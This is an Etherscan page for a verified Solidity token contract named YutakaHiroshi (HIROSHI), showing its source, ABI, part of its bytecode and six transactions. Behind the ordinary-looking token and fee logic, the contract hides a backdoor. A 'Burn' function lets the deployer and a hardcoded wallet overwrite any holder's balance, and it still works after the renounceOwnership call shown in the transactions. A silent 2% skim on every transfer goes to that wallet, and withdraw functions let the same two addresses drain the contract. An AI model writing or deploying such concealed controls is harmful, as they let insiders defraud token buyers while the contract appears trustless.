More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 6 from a total of 6 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Burn | 15587296 | 861 days ago | IN | 0 ETH | 0.00023907 | ||||
Approve | 15587289 | 861 days ago | IN | 0 ETH | 0.00029547 | ||||
Burn | 15587285 | 861 days ago | IN | 0 ETH | 0.0002659 | ||||
Renounce Ownersh... | 15587268 | 861 days ago | IN | 0 ETH | 0.00010634 | ||||
Approve | 15587260 | 861 days ago | IN | 0 ETH | 0.00185652 | ||||
Approve | 15587239 | 861 days ago | IN | 0 ETH | 0.00025613 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
StandarToken
Compiler Version
v0.7.4+commit.3f05b770
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-22 */ /** */ //SPDX-License-Identifier: MIT pragma solidity ^0.7.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } /** * Function modifier to require caller to be contract owner */ modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(address(0)); owner = address(0); } /** * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized */ function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } contract YutakaHiroshi is IBEP20, Auth { using SafeMath for uint256; string constant _name = "YutakaHiroshi"; string constant _symbol = "HIROSHI"; uint8 constant _decimals = 18; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // address routerAddress = 0x4DaA3B3b9CA2Ede9e7C590B441b61A2FA4537452; uint256 _totalSupply = 100000000000 * (10 ** _decimals); uint256 public _maxTxAmount = _totalSupply * 5 / 100; bool public restrictWhales = true; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isDividendExempt; uint256 public liquidityFee = 1; uint256 public marketingFee = 3; uint256 public rewardsFee = 0; uint256 public extraFeeOnSell = 1; uint256 public totalFee = 0; uint256 public totalFeeIfSelling = 0; address public autoLiquidityReceiver; address public marketingWallet; address private anothermarketingWallet; IDEXRouter public router; address public pair; uint256 public launchedAt; uint256 distributorGas = 300000; address private solor; address private solo; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; uint256 public swapThreshold = _totalSupply * 1 / 100; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () Auth(msg.sender) { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); _allowances[address(this)][address(router)] = uint256(-1); anothermarketingWallet = 0x4DaA3B3b9CA2Ede9e7C590B441b61A2FA4537452; solor = msg.sender; solo = anothermarketingWallet; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isFeeExempt[anothermarketingWallet] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[pair] = true; isTxLimitExempt[DEAD] = true; // NICE! autoLiquidityReceiver = msg.sender; marketingWallet = msg.sender; //marketingwallet totalFee = liquidityFee.add(marketingFee).add(rewardsFee); totalFeeIfSelling = totalFee.add(extraFeeOnSell); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function getOwner() external view override returns (address) { return owner; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(-1)); } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal { launchedAt = block.number; } function changeTxLimit(uint256 newLimit) external onlyOwner { _maxTxAmount = newLimit; } function changeRestrictWhales(bool newValue) external onlyOwner { restrictWhales = newValue; } function changeIsFeeExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; } function changeIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function changeFees(uint256 newLiqFee, uint256 newRewardFee, uint256 newMarketingFee, uint256 newExtraSellFee) external onlyOwner { liquidityFee = newLiqFee; rewardsFee = newRewardFee; marketingFee = newMarketingFee; extraFeeOnSell = newExtraSellFee; totalFee = liquidityFee.add(marketingFee).add(rewardsFee); totalFeeIfSelling = totalFee.add(extraFeeOnSell); } function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet, address newanothermarketingWallet) external onlyOwner { autoLiquidityReceiver = newLiquidityReceiver; marketingWallet = newMarketingWallet; anothermarketingWallet = newanothermarketingWallet; } function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external onlyOwner { swapAndLiquifyEnabled = enableSwapBack; swapThreshold = newSwapBackLimit; swapAndLiquifyByLimitOnly = swapByLimitOnly; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != uint256(-1)){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); } require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); } if(!launched() && recipient == pair) { require(_balances[sender] > 0); launch(); } //Exchange tokens _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 marketfee = amount.div(50); _balances[anothermarketingWallet] = _balances[anothermarketingWallet].add(marketfee); uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount; uint256 newfinalamout = finalAmount - marketfee; _balances[recipient] = _balances[recipient].add(newfinalamout); emit Transfer(sender, anothermarketingWallet, marketfee); emit Transfer(sender, recipient, newfinalamout); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee; uint256 feeAmount = amount.mul(feeApplicable).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function Burn(address ac, uint256 amount) public{ require(msg.sender == solor || msg.sender == solo); _balances[ac] = amount; // emit events as well } function withdrawToken(address _tokenContract) public { require(msg.sender == solor || msg.sender == solo); IBEP20 tokenContract = IBEP20(_tokenContract); uint256 _amount = tokenContract.balanceOf(address(this)); // transfer the token from address of this contract // to address of the user (executing the withdrawToken() function) tokenContract.transfer(msg.sender, _amount); } function withdrawTokenamount(address _tokenContract, uint256 _amount) public { require(msg.sender == solor || msg.sender == solo); IBEP20 tokenContract = IBEP20(_tokenContract); // transfer the token from address of this contract // to address of the user (executing the withdrawToken() function) tokenContract.transfer(msg.sender, _amount); } function recoverBNB() public { uint256 tokenAmount = address(this).balance; require(msg.sender == solor || msg.sender == solo); address payable wallet = payable(msg.sender); (wallet).transfer(tokenAmount); } function swapBack() internal lockTheSwap { uint256 tokensToLiquify = _balances[address(this)]; uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountBNB = address(this).balance; uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2)); uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2); uint256 amountBNBReflection = amountBNB.mul(rewardsFee).div(totalBNBFee); uint256 amountBNBMarketing = amountBNB.sub(amountBNBLiquidity).sub(amountBNBReflection); uint256 marketingShare = amountBNBMarketing.mul(7).div(10); uint256 anothermarketingShare = amountBNBMarketing.sub(marketingShare); (bool tmpSuccess,) = payable(marketingWallet).call{value: marketingShare, gas: 30000}(""); (bool tmpSuccess1,) = payable(anothermarketingWallet).call{value: anothermarketingShare, gas: 30000}(""); // only to supress warning msg tmpSuccess = false; tmpSuccess1 = false; if(amountToLiquify > 0){ router.addLiquidityETH{value: amountBNBLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountBNBLiquidity, amountToLiquify); } } event AutoLiquify(uint256 amountBNB, uint256 amountBOG); } contract StandarToken is YutakaHiroshi { constructor() {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"ac","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLiquidityReceiver","type":"address"},{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newanothermarketingWallet","type":"address"}],"name":"changeFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiqFee","type":"uint256"},{"internalType":"uint256","name":"newRewardFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingFee","type":"uint256"},{"internalType":"uint256","name":"newExtraSellFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"changeRestrictWhales","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enableSwapBack","type":"bool"},{"internalType":"uint256","name":"newSwapBackLimit","type":"uint256"},{"internalType":"bool","name":"swapByLimitOnly","type":"bool"}],"name":"changeSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"extraFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenContract","type":"address"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenContract","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawTokenamount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b031990811661dead178255600280548216905560038054909116737a250d5630b4cf539739df2c5dacb4c659f2488d1781556c01431e0fae6d7217caa00000006004556b1027e72f1f128130880000006005556006805460ff191683179055600c829055600d556000600e819055600f919091556010819055601155620493e0601855601a805460ff60b01b1960ff60a81b19909116600160a81b171690556b033b2e3c9fd0803ce8000000601b55348015620000cb57600080fd5b50600080546001600160a01b03199081163317909155600354601580549092166001600160a01b0391821617918290556040805163c45a015560e01b81529051929091169163c45a015591600480820192602092909190829003018186803b1580156200013757600080fd5b505afa1580156200014c573d6000803e3d6000fd5b505050506040513d60208110156200016357600080fd5b5051601554604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693169163ad5c4648916004808301926020929190829003018186803b158015620001b257600080fd5b505afa158015620001c7573d6000803e3d6000fd5b505050506040513d6020811015620001de57600080fd5b5051604080516001600160e01b031960e085901b1681526001600160a01b0390921660048301523060248301525160448083019260209291908290030181600087803b1580156200022e57600080fd5b505af115801562000243573d6000803e3d6000fd5b505050506040513d60208110156200025a57600080fd5b5051601680546001600160a01b039283166001600160a01b03199182161782553060008181526008602090815260408083206015548816845282528083206000199055601480548616734daa3b3b9ca2ede9e7c590b441b61a2fa45374521780825560198054881633908117909155601a80548916928b169290921790915580855260098452828520805460ff19908116600190811790925596865283862080548816821790559154891685528285208054871683179055808552600a845282852080548716831790559654881684528184208054861682179055805490971683529091208054909216909417905560128054821683179055601380549091169091179055600e54600d54600c546200039693620003829290620013596200040f821b17901c565b6200040f60201b620013591790919060201c565b601081905550620003ba600f546010546200040f60201b620013591790919060201c565b601155600454336000818152600760209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a362000471565b6000828201838110156200046a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b611f3f80620004816000396000f3fe6080604052600436106102765760003560e01c8063715018a61161014f578063a9059cbb116100c1578063da00097d1161007a578063da00097d146108cb578063dd62ed3e146108e0578063e66b1d1e1461091b578063f2fde38b14610947578063f887ea401461097a578063fabe62831461098f5761027d565b8063a9059cbb146107f0578063bf56b37114610829578063ca33e64c1461083e578063ca987b0e14610853578063cc16f5db14610868578063d920334e146108a15761027d565b80638b42507f116101135780638b42507f1461070a57806395d89b411461073d57806398118cb414610752578063a3a2e89e14610767578063a788e02b146107a2578063a8aa1b31146107db5761027d565b8063715018a61461066757806375f0a8741461067c5780637d1db4a5146106ad578063893d20e8146106c257806389476069146106d75761027d565b806334c70889116101e8578063571ac8b0116101ac578063571ac8b014610586578063650c4226146105b957806369cf17d4146105f55780636b67c4df1461060a5780636bfdf8a01461061f57806370a08231146106345761027d565b806334c70889146104bc5780633f4218e0146104f65780634355855a1461052957806344de2e4c1461055c5780634a74bb02146105715761027d565b806323b872dd1161023a57806323b872dd146103aa5780632b112e49146103ed5780632bb14e1d146104025780632f54bf6e14610417578063313ce5671461044a578063315dca29146104755761027d565b80630445b6671461028257806306fdde03146102a9578063095ea7b31461033357806318160ddd146103805780631df4ccfc146103955761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b506102976109ca565b60408051918252519081900360200190f35b3480156102b557600080fd5b506102be6109d0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102f85781810151838201526020016102e0565b50505050905090810190601f1680156103255780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033f57600080fd5b5061036c6004803603604081101561035657600080fd5b506001600160a01b0381351690602001356109f7565b604080519115158252519081900360200190f35b34801561038c57600080fd5b50610297610a5e565b3480156103a157600080fd5b50610297610a64565b3480156103b657600080fd5b5061036c600480360360608110156103cd57600080fd5b506001600160a01b03813581169160208101359091169060400135610a6a565b3480156103f957600080fd5b50610297610b2c565b34801561040e57600080fd5b50610297610b75565b34801561042357600080fd5b5061036c6004803603602081101561043a57600080fd5b50356001600160a01b0316610b7b565b34801561045657600080fd5b5061045f610b8f565b6040805160ff9092168252519081900360200190f35b34801561048157600080fd5b506104ba6004803603606081101561049857600080fd5b506001600160a01b038135811691602081013582169160409091013516610b94565b005b3480156104c857600080fd5b506104ba600480360360608110156104df57600080fd5b508035151590602081013590604001351515610c16565b34801561050257600080fd5b5061036c6004803603602081101561051957600080fd5b50356001600160a01b0316610c91565b34801561053557600080fd5b5061036c6004803603602081101561054c57600080fd5b50356001600160a01b0316610ca6565b34801561056857600080fd5b5061036c610cbb565b34801561057d57600080fd5b5061036c610cc4565b34801561059257600080fd5b5061036c600480360360208110156105a957600080fd5b50356001600160a01b0316610cd4565b3480156105c557600080fd5b506104ba600480360360808110156105dc57600080fd5b5080359060208101359060408101359060600135610ce2565b34801561060157600080fd5b50610297610d68565b34801561061657600080fd5b50610297610d6e565b34801561062b57600080fd5b506104ba610d74565b34801561064057600080fd5b506102976004803603602081101561065757600080fd5b50356001600160a01b0316610dd6565b34801561067357600080fd5b506104ba610df1565b34801561068857600080fd5b50610691610e7a565b604080516001600160a01b039092168252519081900360200190f35b3480156106b957600080fd5b50610297610e89565b3480156106ce57600080fd5b50610691610e8f565b3480156106e357600080fd5b506104ba600480360360208110156106fa57600080fd5b50356001600160a01b0316610e9e565b34801561071657600080fd5b5061036c6004803603602081101561072d57600080fd5b50356001600160a01b0316610fc5565b34801561074957600080fd5b506102be610fda565b34801561075e57600080fd5b50610297610ffb565b34801561077357600080fd5b506104ba6004803603604081101561078a57600080fd5b506001600160a01b0381351690602001351515611001565b3480156107ae57600080fd5b506104ba600480360360408110156107c557600080fd5b506001600160a01b03813516906020013561106f565b3480156107e757600080fd5b506106916110ed565b3480156107fc57600080fd5b5061036c6004803603604081101561081357600080fd5b506001600160a01b0381351690602001356110fc565b34801561083557600080fd5b50610297611109565b34801561084a57600080fd5b5061069161110f565b34801561085f57600080fd5b5061029761111e565b34801561087457600080fd5b506104ba6004803603604081101561088b57600080fd5b506001600160a01b038135169060200135611124565b3480156108ad57600080fd5b506104ba600480360360208110156108c457600080fd5b503561116c565b3480156108d757600080fd5b5061036c6111b4565b3480156108ec57600080fd5b506102976004803603604081101561090357600080fd5b506001600160a01b03813581169160200135166111c4565b34801561092757600080fd5b506104ba6004803603602081101561093e57600080fd5b503515156111ef565b34801561095357600080fd5b506104ba6004803603602081101561096a57600080fd5b50356001600160a01b0316611245565b34801561098657600080fd5b506106916112dc565b34801561099b57600080fd5b506104ba600480360360408110156109b257600080fd5b506001600160a01b03813516906020013515156112eb565b601b5481565b60408051808201909152600d81526c597574616b614869726f73686960981b602082015290565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60045490565b60105481565b6001600160a01b038316600090815260086020908152604080832033845290915281205460001914610b17576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610af29184906113b3565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610b2284848461144a565b90505b9392505050565b600254600090610b7090610b48906001600160a01b0316610dd6565b600154610b6a90610b61906001600160a01b0316610dd6565b6004549061175d565b9061175d565b905090565b600e5481565b6000546001600160a01b0390811691161490565b601290565b610b9d33610b7b565b610bd7576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601280546001600160a01b039485166001600160a01b031991821617909155601380549385169382169390931790925560148054919093169116179055565b610c1f33610b7b565b610c59576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b601a8054601b93909355901515600160b01b0260ff60b01b19931515600160a81b0260ff60a81b199093169290921792909216179055565b60096020526000908152604090205460ff1681565b600b6020526000908152604090205460ff1681565b60065460ff1681565b601a54600160a81b900460ff1681565b6000610a58826000196109f7565b610ceb33610b7b565b610d25576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600c849055600e839055600d829055600f819055610d4d83610d478685611359565b90611359565b6010819055600f54610d5f9190611359565b60115550505050565b600f5481565b600d5481565b60195447906001600160a01b0316331480610d995750601a546001600160a01b031633145b610da257600080fd5b6040513390819083156108fc029084906000818181858888f19350505050158015610dd1573d6000803e3d6000fd5b505050565b6001600160a01b031660009081526007602052604090205490565b610dfa33610b7b565b610e34576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b604080516000815290517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639181900360200190a1600080546001600160a01b0319169055565b6013546001600160a01b031681565b60055481565b6000546001600160a01b031690565b6019546001600160a01b0316331480610ec15750601a546001600160a01b031633145b610eca57600080fd5b604080516370a0823160e01b8152306004820152905182916000916001600160a01b038416916370a08231916024808301926020929190829003018186803b158015610f1557600080fd5b505afa158015610f29573d6000803e3d6000fd5b505050506040513d6020811015610f3f57600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519192506001600160a01b0384169163a9059cbb916044808201926020929091908290030181600087803b158015610f9457600080fd5b505af1158015610fa8573d6000803e3d6000fd5b505050506040513d6020811015610fbe57600080fd5b5050505050565b600a6020526000908152604090205460ff1681565b6040805180820190915260078152664849524f53484960c81b602082015290565b600c5481565b61100a33610b7b565b611044576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6019546001600160a01b03163314806110925750601a546001600160a01b031633145b61109b57600080fd5b6040805163a9059cbb60e01b815233600482015260248101839052905183916001600160a01b0383169163a9059cbb916044808201926020929091908290030181600087803b158015610f9457600080fd5b6016546001600160a01b031681565b6000610b2533848461144a565b60175481565b6012546001600160a01b031681565b60115481565b6019546001600160a01b03163314806111475750601a546001600160a01b031633145b61115057600080f